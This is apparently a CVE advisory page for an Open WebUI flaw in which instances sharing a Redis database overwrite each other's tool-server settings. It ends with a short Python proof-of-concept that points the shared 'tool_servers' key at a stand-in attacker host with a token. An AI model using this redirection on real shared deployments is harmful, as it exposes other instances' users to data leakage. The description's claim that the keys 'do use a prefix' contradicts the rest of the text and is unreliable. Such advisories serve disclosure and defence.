CVE-2026-44552

Published: 2026-05-15 20:16:47

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the tool_servers and terminal_servers keys in utils/tools.py do use a prefix. When two or more Open WebUI instances share a Redis database (a supported and documented deployment pattern, e.g., for multi-region deployments, blue-green setups, or cluster topologies), the unprefixed keys collide. An admin on Instance A writing to tool_servers overwrites the value read by Instance B β€” causing Instance B's users to receive Instance A's tool server configuration. This vulnerability is fixed in 0.9.0.

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Open WebUI Configuration Overwrite via Redis Key Collision # This script demonstrates how an admin on Instance A can overwrite Instance B's config. import redis # Connect to the shared Redis instance r = redis.Redis(host='shared-redis-host', port=6379, db=0) # Simulating Instance A (Attacker) setting a malicious config # In utils/tools.py, the key 'tool_servers' is used without a prefix. malicious_config = {"server": "http://attacker-controlled-server.com", "token": "stolen-token"} # Exploit: Write to the unprefixed key r.set('tool_servers', str(malicious_config)) print("[+] Instance A (Attacker) overwrote the shared 'tool_servers' key.") print(f"[+] New value: {r.get('tool_servers')}") # Simulating Instance B (Victim) reading the config victim_config = r.get('tool_servers') print(f"[-] Instance B (Victim) reads config: {victim_config}") # Victim now uses the attacker's tool server, potentially leaking data.
